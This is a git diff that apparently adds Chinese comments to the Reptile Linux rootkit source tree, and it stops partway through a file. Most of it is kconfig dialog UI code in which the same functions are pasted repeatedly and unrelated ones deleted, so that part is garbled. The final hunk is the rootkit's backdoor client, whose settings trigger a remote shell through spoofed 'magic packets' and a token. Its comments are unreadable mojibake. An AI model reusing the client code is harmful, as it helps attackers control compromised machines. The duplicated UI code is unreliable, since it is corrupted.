/* If prompt is short */ + // 移动光标到窗口的第 y 行,居中位置。 + wmove(win, y, (width - prompt_len) / 2); + // 添加提示字符串。 + waddstr(win, tempstr); + } else { + // 否则,提示字符串较长,需要自动换行。 + cur_x = x; // 当前光标列位置。 + cur_y = y; // 当前光标行位置。 + newl = 1; // 标记是否为新行。 + word = tempstr; // 当前处理的单词指针。 + + // 循环处理每一个单词。 + while (word && *word) { + // 查找单词中的换行符或空格。 + sp = strpbrk(word, "\n "); + if (sp && *sp == '\n') + // 如果找到换行符,设置 newline_separator 为当前位置。 + newline_separator = sp; + + if (sp) + // 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。 + *sp++ = 0; + + /* Wrap to next line if either the word does not fit, + or it is the first word of a new sentence, and it is + short, and the next word does not fit. */ + // 计算当前行剩余的空间。 + room = width - cur_x; + // 获取当前单词的长度。 + wlen = strlen(word); + // 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4,并且下一个单词也不适合当前行,则换行。 + if (wlen > room || + (newl && wlen < 4 && sp + && wlen + 1 + strlen(sp) > room + && (!(sp2 = strpbrk(sp, "\n ")) + || wlen + 1 + (sp2 - sp) > room))) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + } + // 移动光标到当前处理位置。 + wmove(win, cur_y, cur_x); + // 添加当前单词。 + waddstr(win, word); + // 获取当前光标位置。 + getyx(win, cur_y, cur_x); + + /* Move to the next line if the word separator was a newline */ + // 如果 newline_separator 不为 NULL,则表示找到了换行符,换行。 + if (newline_separator) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + newline_separator = 0; // 重置 newline_separator。 + } else + // 否则,增加当前列位置。 + cur_x++; + + // 如果 sp 指向的字符是空格。 + if (sp && *sp == ' ') { + cur_x++; // 增加当前列位置以处理双空格。 + // 跳过所有连续的空格。 + while (*++sp == ' ') ; + newl = 1; // 标记为新行。 + } else + newl = 0; // 否则,不标记为新行。 + word = sp; // 更新 word 指针为下一个单词的起始位置。 + } + } +} + + +// 定义一个函数 set_dialog_subtitles,用于设置对话框的子标题。 +void set_dialog_subtitles(struct subtitle_list *subtitles) { - int i, temp; - - wmove(win, y, x); - wattrset(win, selected ? dlg.button_active.atr - : dlg.button_inactive.atr); - waddstr(win, "<"); - temp = strspn(label, " "); - label += temp; - wattrset(win, selected ? dlg.button_label_active.atr - : dlg.button_label_inactive.atr); - for (i = 0; i < temp; i++) - waddch(win, ' '); - wattrset(win, selected ? dlg.button_key_active.atr - : dlg.button_key_inactive.atr); - waddch(win, label[0]); - wattrset(win, selected ? dlg.button_label_active.atr - : dlg.button_label_inactive.atr); - waddstr(win, (char *)label + 1); - wattrset(win, selected ? dlg.button_active.atr - : dlg.button_inactive.atr); - waddstr(win, ">"); - wmove(win, y, x + temp + 1); + // 将传入的 subtitles 链表赋值给 dlg.subtitles。 + dlg.subtitles = subtitles; } /* - * Draw a rectangular box with line drawing characters + * End using dialog functions. + * 该函数用于结束使用对话框函数并清理相关资源。 */ -void -draw_box(WINDOW * win, int y, int x, int height, int width, - chtype box, chtype border) +void end_dialog(int x, int y) { - int i, j; - - wattrset(win, 0); - for (i = 0; i < height; i++) { - wmove(win, y + i, x); - for (j = 0; j < width; j++) - if (!i && !j) - waddch(win, border | ACS_ULCORNER); - else if (i == height - 1 && !j) - waddch(win, border | ACS_LLCORNER); - else if (!i && j == width - 1) - waddch(win, box | ACS_URCORNER); - else if (i == height - 1 && j == width - 1) - waddch(win, box | ACS_LRCORNER); - else if (!i) - waddch(win, border | ACS_HLINE); - else if (i == height - 1) - waddch(win, box | ACS_HLINE); - else if (!j) - waddch(win, border | ACS_VLINE); - else if (j == width - 1) - waddch(win, box | ACS_VLINE); - else - waddch(win, box | ' '); - } + // 将光标移动到原始位置 (y, x)。 + move(y, x); + // 刷新屏幕以显示光标移动。 + refresh(); + // 结束 curses 模式。 + endwin(); } -/* - * Draw shadows along the right and bottom edge to give a more 3D look - * to the boxes - */ -void draw_shadow(WINDOW * win, int y, int x, int height, int width) +/* Print the title of the dialog. Center the title and truncate + * tile if wider than dialog (- 2 chars). + * 该函数用于在对话框中打印标题,标题居中显示,如果标题长度超过对话框宽度减去 2,则截断。 + **/ +void print_title(WINDOW *dialog, const char *title, int width) { - int i; - - if (has_colors()) { /* Whether terminal supports color? */ - wattrset(win, dlg.shadow.atr); - wmove(win, y + height, x + 2); - for (i = 0; i < width; i++) - waddch(win, winch(win) & A_CHARTEXT); - for (i = y + 1; i < y + height + 1; i++) { - wmove(win, i, x + width); - waddch(win, winch(win) & A_CHARTEXT); - waddch(win, winch(win) & A_CHARTEXT); - } - wnoutrefresh(win); - } + // 如果标题不为空。 + if (title) { + // 计算标题长度,不超过 width - 2。 + int tlen = MIN(width - 2, strlen(title)); + // 设置对话框窗口的属性为 dlg.title.atr。 + wattrset(dialog, dlg.title.atr); + // 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。 + mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); + // 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。 + mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen); + // 在标题字符串的末尾添加一个空格。 + waddch(dialog, ' '); + } } /* - * Return the position of the first alphabetic character in a string. + * Print a string of text in a window, automatically wrap around to the + * next line if the string is too long to fit on one line. Newline + * characters '\n' are properly processed. We start on a new line + * if there is no room for at least 4 nonblanks following a double-space. + * 该函数用于在窗口中自动换行打印字符串,处理换行符,并在双空格后自动换行。 */ -int first_alpha(const char *string, const char *exempt) +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x) { - int i, in_paren = 0, c; - - for (i = 0; i < strlen(string); i++) { - c = tolower(string[i]); - - if (strchr("<[(", c)) - ++in_paren; - if (strchr(">])", c) && in_paren > 0) - --in_paren; - - if ((!in_paren) && isalpha(c) && strchr(exempt, c) == 0) - return i; - } - - return 0; + // 声明变量用于控制换行和光标位置。 + int newl, cur_x, cur_y; + // 计算提示字符串的长度。 + int prompt_len, room, wlen; + // 声明一个临时字符串 tempstr 和相关指针。 + char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; + + // 将提示字符串 prompt 复制到临时字符串 tempstr。 + strcpy(tempstr, prompt); + + // 获取提示字符串的长度。 + prompt_len = strlen(tempstr); + + // 如果提示字符串长度小于等于 width - x * 2,则提示字符串较短,可以直接居中显示。 + if (prompt_len <= width - x * 2) { /* If prompt is short */ + // 移动光标到窗口的第 y 行,居中位置。 + wmove(win, y, (width - prompt_len) / 2); + // 添加提示字符串。 + waddstr(win, tempstr); + } else { + // 否则,提示字符串较长,需要自动换行。 + cur_x = x; // 当前光标列位置。 + cur_y = y; // 当前光标行位置。 + newl = 1; // 标记是否为新行。 + word = tempstr; // 当前处理的单词指针。 + + // 循环处理每一个单词。 + while (word && *word) { + // 查找单词中的换行符或空格。 + sp = strpbrk(word, "\n "); + // 如果找到换行符,设置 newline_separator 为当前位置。 + if (sp && *sp == '\n') + newline_separator = sp; + + if (sp) + // 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。 + *sp++ = 0; + + /* Wrap to next line if either the word does not fit, + or it is the first word of a new sentence, and it is + short, and the next word does not fit. */ + // 计算当前行剩余的空间。 + room = width - cur_x; + // 获取当前单词的长度。 + wlen = strlen(word); + // 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4,并且下一个单词也不适合当前行,则换行。 + if (wlen > room || + (newl && wlen < 4 && sp + && wlen + 1 + strlen(sp) > room + && (!(sp2 = strpbrk(sp, "\n ")) + || wlen + 1 + (sp2 - sp) > room))) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + } + // 移动光标到当前处理位置。 + wmove(win, cur_y, cur_x); + // 添加当前单词。 + waddstr(win, word); + // 获取当前光标位置。 + getyx(win, cur_y, cur_x); + + /* Move to the next line if the word separator was a newline */ + // 如果 newline_separator 不为 NULL,则表示找到了换行符,换行。 + if (newline_separator) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + newline_separator = 0; // 重置 newline_separator。 + } else + // 否则,增加当前列位置。 + cur_x++; + + // 如果 sp 指向的字符是空格。 + if (sp && *sp == ' ') { + cur_x++; // 增加当前列位置以处理双空格。 + // 跳过所有连续的空格。 + while (*++sp == ' ') ; + newl = 1; // 标记为新行。 + } else + newl = 0; // 否则,不标记为新行。 + word = sp; // 更新 word 指针为下一个单词的起始位置。 + } + } +} + +// 定义一个函数 set_dialog_subtitles,用于设置对话框的子标题。 +void set_dialog_subtitles(struct subtitle_list *subtitles) +{ + // 将传入的 subtitles 链表赋值给 dlg.subtitles。 + dlg.subtitles = subtitles; } /* - * ncurses uses ESC to detect escaped char sequences. This resutl in - * a small timeout before ESC is actually delivered to the application. - * lxdialog suggest which is correctly translated to two - * times esc. But then we need to ignore the second esc to avoid stepping - * out one menu too much. Filter away all escaped key sequences since - * keypad(FALSE) turn off ncurses support for escape sequences - and thats - * needed to make notimeout() do as expected. + * End using dialog functions. + * 该函数用于结束使用对话框函数并清理相关资源。 */ -int on_key_esc(WINDOW *win) -{ - int key; - int key2; - int key3; - - nodelay(win, TRUE); - keypad(win, FALSE); - key = wgetch(win); - key2 = wgetch(win); - do { - key3 = wgetch(win); - } while (key3 != ERR); - nodelay(win, FALSE); - keypad(win, TRUE); - if (key == KEY_ESC && key2 == ERR) - return KEY_ESC; - else if (key != ERR && key != KEY_ESC && key2 == ERR) - ungetch(key); - - return -1; -} - -/* redraw screen in new size */ -int on_key_resize(void) -{ - dialog_clear(); - return KEY_RESIZE; -} - -struct dialog_list *item_cur; -struct dialog_list item_nil; -struct dialog_list *item_head; - -void item_reset(void) -{ - struct dialog_list *p, *next; - - for (p = item_head; p; p = next) { - next = p->next; - free(p); - } - item_head = NULL; - item_cur = &item_nil; -} - -void item_make(const char *fmt, ...) -{ - va_list ap; - struct dialog_list *p = malloc(sizeof(*p)); - - if (item_head) - item_cur->next = p; - else - item_head = p; - item_cur = p; - memset(p, 0, sizeof(*p)); - - va_start(ap, fmt); - vsnprintf(item_cur->node.str, sizeof(item_cur->node.str), fmt, ap); - va_end(ap); -} - -void item_add_str(const char *fmt, ...) -{ - va_list ap; - size_t avail; - - avail = sizeof(item_cur->node.str) - strlen(item_cur->node.str); - - va_start(ap, fmt); - vsnprintf(item_cur->node.str + strlen(item_cur->node.str), - avail, fmt, ap); - item_cur->node.str[sizeof(item_cur->node.str) - 1] = '\0'; - va_end(ap); -} - -void item_set_tag(char tag) -{ - item_cur->node.tag = tag; -} -void item_set_data(void *ptr) -{ - item_cur->node.data = ptr; -} - -void item_set_selected(int val) -{ - item_cur->node.selected = val; -} - -int item_activate_selected(void) -{ - item_foreach() - if (item_is_selected()) - return 1; - return 0; -} - -void *item_data(void) +void end_dialog(int x, int y) { - return item_cur->node.data; + // 将光标移动到原始位置 (y, x)。 + move(y, x); + // 刷新屏幕以显示光标移动。 + refresh(); + // 结束 curses 模式。 + endwin(); } -char item_tag(void) +/* Print the title of the dialog. Center the title and truncate + * title if wider than dialog (- 2 chars). + * 该函数用于在对话框中打印标题,标题居中显示,如果标题长度超过对话框宽度减去 2,则截断。 + **/ +void print_title(WINDOW *dialog, const char *title, int width) { - return item_cur->node.tag; + // 如果标题不为空。 + if (title) { + // 计算标题长度,不超过 width - 2。 + int tlen = MIN(width - 2, strlen(title)); + // 设置对话框窗口的属性为 dlg.title.atr。 + wattrset(dialog, dlg.title.atr); + // 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。 + mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); + // 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。 + mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen); + // 在标题字符串的末尾添加一个空格。 + waddch(dialog, ' '); + } } -int item_count(void) +/* + * Print a string of text in a window, automatically wrap around to the + * next line if the string is too long to fit on one line. Newline + * characters '\n' are properly processed. We start on a new line + * if there is no room for at least 4 nonblanks following a double-space. + * 该函数用于在窗口中自动换行打印字符串,处理换行符,并在双空格后自动换行。 + */ +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x) { - int n = 0; - struct dialog_list *p; - - for (p = item_head; p; p = p->next) - n++; - return n; -} - -void item_set(int n) + // 声明变量用于控制换行和光标位置。 + int newl, cur_x, cur_y; + // 计算提示字符串的长度。 + int prompt_len, room, wlen; + // 声明一个临时字符串 tempstr 和相关指针。 + char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; + + // 将提示字符串 prompt 复制到临时字符串 tempstr。 + strcpy(tempstr, prompt); + + // 获取提示字符串的长度。 + prompt_len = strlen(tempstr); + + // 如果提示字符串长度小于等于 width - x * 2,则提示字符串较短,可以直接居中显示。 + if (prompt_len <= width - x * 2) { /* If prompt is short */ + // 移动光标到窗口的第 y 行,居中位置。 + wmove(win, y, (width - prompt_len) / 2); + // 添加提示字符串。 + waddstr(win, tempstr); + } else { + // 否则,提示字符串较长,需要自动换行。 + cur_x = x; // 当前光标列位置。 + cur_y = y; // 当前光标行位置。 + newl = 1; // 标记是否为新行。 + word = tempstr; // 当前处理的单词指针。 + + // 循环处理每一个单词。 + while (word && *word) { + // 查找单词中的换行符或空格。 + sp = strpbrk(word, "\n "); + // 如果找到换行符,设置 newline_separator 为当前位置。 + if (sp && *sp == '\n') + newline_separator = sp; + + if (sp) + // 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。 + *sp++ = 0; + + // 计算当前行剩余的空间。 + room = width - cur_x; + // 获取当前单词的长度。 + wlen = strlen(word); + // 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4,并且下一个单词也不适合当前行,则换行。 + if (wlen > room || + (newl && wlen < 4 && sp + && wlen + 1 + strlen(sp) > room + && (!(sp2 = strpbrk(sp, "\n ")) + || wlen + 1 + (sp2 - sp) > room))) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + } + // 移动光标到当前处理位置。 + wmove(win, cur_y, cur_x); + // 添加当前单词。 + waddstr(win, word); + // 获取当前光标位置。 + getyx(win, cur_y, cur_x); + + // 如果 newline_separator 不为 NULL,则表示找到了换行符,换行。 + if (newline_separator) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + newline_separator = 0; // 重置 newline_separator。 + } else + // 否则,增加当前列位置。 + cur_x++; + + // 如果 sp 指向的字符是空格。 + if (sp && *sp == ' ') { + cur_x++; // 增加当前列位置以处理双空格。 + // 跳过所有连续的空格。 + while (*++sp == ' ') ; + newl = 1; // 标记为新行。 + } else + newl = 0; // 否则,不标记为新行。 + word = sp; // 更新 word 指针为下一个单词的起始位置。 + } + } +} + + +// 定义一个函数 set_dialog_subtitles,用于设置对话框的子标题。 +void set_dialog_subtitles(struct subtitle_list *subtitles) { - int i = 0; - item_foreach() - if (i++ == n) - return; + // 将传入的 subtitles 链表赋值给 dlg.subtitles。 + dlg.subtitles = subtitles; } -int item_n(void) +/* + * End using dialog functions. + * 该函数用于结束使用对话框函数并清理相关资源。 + */ +void end_dialog(int x, int y) { - int n = 0; - struct dialog_list *p; - - for (p = item_head; p; p = p->next) { - if (p == item_cur) - return n; - n++; - } - return 0; + // 将光标移动到原始位置 (y, x)。 + move(y, x); + // 刷新屏幕以显示光标移动。 + refresh(); + // 结束 curses 模式。 + endwin(); } -const char *item_str(void) +/* Print the title of the dialog. Center the title and truncate + * title if wider than dialog (- 2 chars). + * 该函数用于在对话框中打印标题,标题居中显示,如果标题长度超过对话框宽度减去 2,则截断。 + **/ +void print_title(WINDOW *dialog, const char *title, int width) { - return item_cur->node.str; + // 如果标题不为空。 + if (title) { + // 计算标题长度,不超过 width - 2。 + int tlen = MIN(width - 2, strlen(title)); + // 设置对话框窗口的属性为 dlg.title.atr。 + wattrset(dialog, dlg.title.atr); + // 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。 + mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); + // 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。 + mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen); + // 在标题字符串的末尾添加一个空格。 + waddch(dialog, ' '); + } } -int item_is_selected(void) +/* + * Print a string of text in a window, automatically wrap around to the + * next line if the string is too long to fit on one line. Newline + * characters '\n' are properly processed. We start on a new line + * if there is no room for at least 4 nonblanks following a double-space. + * 该函数用于在窗口中自动换行打印字符串,处理换行符,并在双空格后自动换行。 + */ +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x) { - return (item_cur->node.selected != 0); + // 声明变量用于控制换行和光标位置。 + int newl, cur_x, cur_y; + // 计算提示字符串的长度。 + int prompt_len, room, wlen; + // 声明一个临时字符串 tempstr 和相关指针。 + char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; + + // 将提示字符串 prompt 复制到临时字符串 tempstr。 + strcpy(tempstr, prompt); + + // 获取提示字符串的长度。 + prompt_len = strlen(tempstr); + + // 如果提示字符串长度小于等于 width - x * 2,则提示字符串较短,可以直接居中显示。 + if (prompt_len <= width - x * 2) { /* If prompt is short */ + // 移动光标到窗口的第 y 行,居中位置。 + wmove(win, y, (width - prompt_len) / 2); + // 添加提示字符串。 + waddstr(win, tempstr); + } else { + // 否则,提示字符串较长,需要自动换行。 + cur_x = x; // 当前光标列位置初始化为 x。 + cur_y = y; // 当前光标行位置初始化为 y。 + newl = 1; // 标记是否为新行,初始为 1 表示是新行。 + word = tempstr; // 当前处理的单词指针初始化为 tempstr 的起始位置。 + + // 循环处理每一个单词。 + while (word && *word) { + // 查找单词中的换行符或空格。 + sp = strpbrk(word, "\n "); + // 如果找到换行符,设置 newline_separator 为当前位置。 + if (sp && *sp == '\n') + newline_separator = sp; + + if (sp) + // 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。 + *sp++ = 0; + + // 计算当前行剩余的空间。 + room = width - cur_x; + // 获取当前单词的长度。 + wlen = strlen(word); + // 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4,并且下一个单词也不适合当前行,则换行。 + if (wlen > room || + (newl && wlen < 4 && sp + && wlen + 1 + strlen(sp) > room + && (!(sp2 = strpbrk(sp, "\n ")) + || wlen + 1 + (sp2 - sp) > room))) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + } + // 移动光标到当前处理位置。 + wmove(win, cur_y, cur_x); + // 添加当前单词。 + waddstr(win, word); + // 获取当前光标位置。 + getyx(win, cur_y, cur_x); + + // 如果 newline_separator 不为 NULL,则表示找到了换行符,换行。 + if (newline_separator) { + cur_y++; // 移动到下一行。 + cur_x = x; // 重置当前列位置为 x。 + newline_separator = 0; // 重置 newline_separator。 + } else + // 否则,增加当前列位置。 + cur_x++; + + // 如果 sp 指向的字符是空格。 + if (sp && *sp == ' ') { + cur_x++; // 增加当前列位置以处理双空格。 + // 跳过所有连续的空格。 + while (*++sp == ' ') ; + newl = 1; // 标记为新行。 + } else + newl = 0; // 否则,不标记为新行。 + word = sp; // 更新 word 指针为下一个单词的起始位置。 + } + } } -int item_is_tag(char tag) -{ - return (item_cur->node.tag == tag); -} diff --git a/src/Reptile/scripts/kconfig/lxdialog/yesno.c b/src/Reptile/scripts/kconfig/lxdialog/yesno.c index 676fb2f..62a975a 100644 --- a/src/Reptile/scripts/kconfig/lxdialog/yesno.c +++ b/src/Reptile/scripts/kconfig/lxdialog/yesno.c @@ -19,21 +19,25 @@ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ -#include "dialog.h" + + +#include "dialog.h" // 包含对话框库的头文件 + + /* * Display termination buttons */ static void print_buttons(WINDOW * dialog, int height, int width, int selected) { - int x = width / 2 - 10; - int y = height - 2; + int x = width / 2 - 10; // 计算 "Yes" 按钮的起始位置 + int y = height - 2; // 计算按钮的垂直位置 - print_button(dialog, gettext(" Yes "), y, x, selected == 0); - print_button(dialog, gettext(" No "), y, x + 13, selected == 1); + print_button(dialog, gettext(" Yes "), y, x, selected == 0); // 打印 "Yes" 按钮 + print_button(dialog, gettext(" No "), y, x + 13, selected == 1); // 打印 "No" 按钮 - wmove(dialog, y, x + 1 + 13 * selected); - wrefresh(dialog); + wmove(dialog, y, x + 1 + 13 * selected); // 移动光标到选中的按钮 + wrefresh(dialog); // 刷新窗口以显示更改 } /* @@ -41,74 +45,74 @@ static void print_buttons(WINDOW * dialog, int height, int width, int selected) */ int dialog_yesno(const char *title, const char *prompt, int height, int width) { - int i, x, y, key = 0, button = 0; - WINDOW *dialog; + int i, x, y, key = 0, button = 0; // 定义变量用于存储位置、按键和按钮状态 + WINDOW *dialog; // 定义对话框窗口 do_resize: if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN)) - return -ERRDISPLAYTOOSMALL; + return -ERRDISPLAYTOOSMALL; // 如果屏幕高度不足以显示对话框,返回错误 if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN)) - return -ERRDISPLAYTOOSMALL; + return -ERRDISPLAYTOOSMALL; // 如果屏幕宽度不足以显示对话框,返回错误 /* center dialog box on screen */ - x = (getmaxx(stdscr) - width) / 2; - y = (getmaxy(stdscr) - height) / 2; + x = (getmaxx(stdscr) - width) / 2; // 计算对话框的水平中心位置 + y = (getmaxy(stdscr) - height) / 2; // 计算对话框的垂直中心位置 - draw_shadow(stdscr, y, x, height, width); + draw_shadow(stdscr, y, x, height, width); // 绘制对话框阴影 - dialog = newwin(height, width, y, x); - keypad(dialog, TRUE); + dialog = newwin(height, width, y, x); // 创建对话框窗口 + keypad(dialog, TRUE); // 启用键盘输入处理 draw_box(dialog, 0, 0, height, width, - dlg.dialog.atr, dlg.border.atr); - wattrset(dialog, dlg.border.atr); - mvwaddch(dialog, height - 3, 0, ACS_LTEE); + dlg.dialog.atr, dlg.border.atr); // 绘制对话框边框 + wattrset(dialog, dlg.border.atr); // 设置边框属性 + mvwaddch(dialog, height - 3, 0, ACS_LTEE); // 添加左下角字符 for (i = 0; i < width - 2; i++) - waddch(dialog, ACS_HLINE); - wattrset(dialog, dlg.dialog.atr); - waddch(dialog, ACS_RTEE); + waddch(dialog, ACS_HLINE); // 添加水平线 + wattrset(dialog, dlg.dialog.atr); // 设置对话框属性 + waddch(dialog, ACS_RTEE); // 添加右下角字符 - print_title(dialog, title, width); + print_title(dialog, title, width); // 打印标题 - wattrset(dialog, dlg.dialog.atr); - print_autowrap(dialog, prompt, width - 2, 1, 3); + wattrset(dialog, dlg.dialog.atr); // 设置对话框属性 + print_autowrap(dialog, prompt, width - 2, 1, 3); // 打印提示信息 - print_buttons(dialog, height, width, 0); + print_buttons(dialog, height, width, 0); // 打印底部按钮 while (key != KEY_ESC) { - key = wgetch(dialog); + key = wgetch(dialog); // 获取用户按键输入 switch (key) { case 'Y': case 'y': - delwin(dialog); - return 0; + delwin(dialog); // 删除对话框窗口 + return 0; // 返回0表示 "Yes" 按钮被选中 case 'N': case 'n': - delwin(dialog); - return 1; + delwin(dialog); // 删除对话框窗口 + return 1; // 返回1表示 "No" 按钮被选中 case TAB: case KEY_LEFT: case KEY_RIGHT: button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button); - print_buttons(dialog, height, width, button); - wrefresh(dialog); + print_buttons(dialog, height, width, button); // 打印按钮 + wrefresh(dialog); // 刷新窗口以显示更改 break; case ' ': case '\n': - delwin(dialog); - return button; + delwin(dialog); // 删除对话框窗口 + return button; // 返回按钮状态 case KEY_ESC: - key = on_key_esc(dialog); + key = on_key_esc(dialog); // 处理 ESC 键 break; case KEY_RESIZE: - delwin(dialog); - on_key_resize(); - goto do_resize; + delwin(dialog); // 删除对话框窗口 + on_key_resize(); // 处理窗口大小变化 + goto do_resize; // 重新调整对话框大小 } } - delwin(dialog); - return key; /* ESC pressed */ -} + delwin(dialog); // 删除对话框窗口 + return key; /* ESC pressed */ // 返回 ESC 键 +} \ No newline at end of file diff --git a/src/Reptile/userland/client/client.c b/src/Reptile/userland/client/client.c index 4c46eac..bc7e713 100644 --- a/src/Reptile/userland/client/client.c +++ b/src/Reptile/userland/client/client.c @@ -24,16 +24,16 @@ #include "util.h" -pid_t pid; -char *listener, *packet; +pid_t pid;// ڴ洢IDݰ +char *listener, *packet; // -char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", +char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 飬ùߵIJ "rport", "prot", "pass", "token"}; -char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", +char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// ƵĴд汾飬ƥû "RPORT", "PROT", "PASS", "TOKEN"}; -char *description[] = {"Local host to receive the shell", +char *description[] = {"Local host to receive the shell",// 飬ڰϢнÿ "Local port to receive the shell", "Source host on magic packets (spoof)", "Source port on magic packets (only for TCP/UDP)", @@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell", "Token to trigger the shell"}; int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } -char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; +char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// ֵ飬ڴ洢ûõIJֵ int help(char **args); int __exit(char **args); @@ -53,15 +53,17 @@ int unset(char **args); int show(char **args); int run(char **args); int export(char **args); -int load(char **args); +int load(char **args); //ͻ˲ -char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; +char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // ͶӦĺָ int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; int num_builtins() +// 庯 { return sizeof(builtin_str) / sizeof(char *); } -int launch(char **args) +int launch(char **args) +// 庯ⲿ { pid_t pid; int status; @@ -83,30 +85,31 @@ int launch(char **args) return 1; } -void help_set() +void help_set() //help { fprintf(stdout, "%s \n", builtin_str[1]); fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); } void help_unset() +// ڽʹset { fprintf(stdout, "%s \n", builtin_str[2]); fprintf(stdout, "Example: unset RHOST\n"); } -void help_conf(int i) +void help_conf(int i)// ڽʹļص { fprintf(stdout, "%s \n", builtin_str[i]); fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); } -void no_help() +void no_help()// 庯ҪϢʱ { fprintf(stdout, "This command doesn't need help\n"); } -int help(char **args) +int help(char **args)// helpʾϢ { if (args[0] == NULL) return 1; @@ -149,7 +152,7 @@ int help(char **args) return 1; } -int __exit(char **args) +int __exit(char **args)// __exit˳ͷԴ { int i; @@ -173,7 +176,7 @@ int __exit(char **args) return 0; } -int set(char **args) +int set(char **args)// setòֵ { int i; @@ -202,21 +205,25 @@ int set(char **args) return 1; } -int unset(char **args) -{ +// unsetȡijֵ +int unset(char** args) { int i; + // ûṩش1 if (args[0] == NULL) return 1; + // ûṩҪȡõIJӡϢش1 if (args[1] == NULL) { fprintf(stdout, "%s wrong syntax!\n", bad); return 1; } + // вǷƥûṩIJ for (i = 0; i < num_variables; i++) { if (strcmp(args[1], var_str[i]) == 0 || - strcmp(args[1], var_str_up[i]) == 0) { + strcmp(args[1], var_str_up[i]) == 0) { + // ҵƥIJͷ֮ǰ洢ֵΪNULL if (var_array[i]) free(var_array[i]); @@ -226,119 +233,90 @@ int unset(char **args) } } + // ûҵƥIJӡϢ fprintf(stdout, "%s wrong parameter!\n", bad); return 1; } -int show(char **args) -{ +// showʾǰвֵ +int show(char** args) { int i; + // ûṩش1 if (args[0] == NULL) return 1; + // ӡͷ fprintf(stdout, "\n"); fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); + // вӡֵ for (i = 0; i < num_variables; i++) { if (var_array[i]) { + // ֵijȣʽԱֶ if (strlen(var_array[i]) >= 8) { fprintf(stdout, "%s\t\t%s\t\t%s\n", - var_str_up[i], var_array[i], - description[i]); - } else if (strlen(var_array[i]) >= 16) { + var_str_up[i], var_array[i], description[i]); + } + else if (strlen(var_array[i]) >= 16) { fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], var_array[i], description[i]); - } else { + } + else { fprintf(stdout, "%s\t\t%s\t\t\t%s\n", - var_str_up[i], var_array[i], - description[i]); + var_str_up[i], var_array[i], description[i]); } - } else { + } + else { + // ûбãӡֵ fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], description[i]); } } + // ӡз fprintf(stdout, "\n"); return 1; } -void interrupt(int signal) -{ +// interruptڴյжźʱΪ +void interrupt(int signal) { + // ӡжϢ fprintf(stdout, "\r"); fflush(stdout); fprintf(stdout, "%s Interrupted: %d\n", warn, signal); } -int run(char **args) -{ +// runúõĹ +int run(char** args) { pid_t pid, pid2; int status; - //char *envp[1] = {NULL}; + // ûṩش1 if (args[0] == NULL) return 1; - if (!var_array[0]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); - return 1; - } - - if (!var_array[1]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]); - return 1; - } - - if (!var_array[2]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]); - return 1; - } - - if (!var_array[4]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]); - return 1; - } - - if (!var_array[6]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]); - return 1; - } - - if (!var_array[8]) { - fprintf(stdout, "%s %s is not defined!\n", bad, 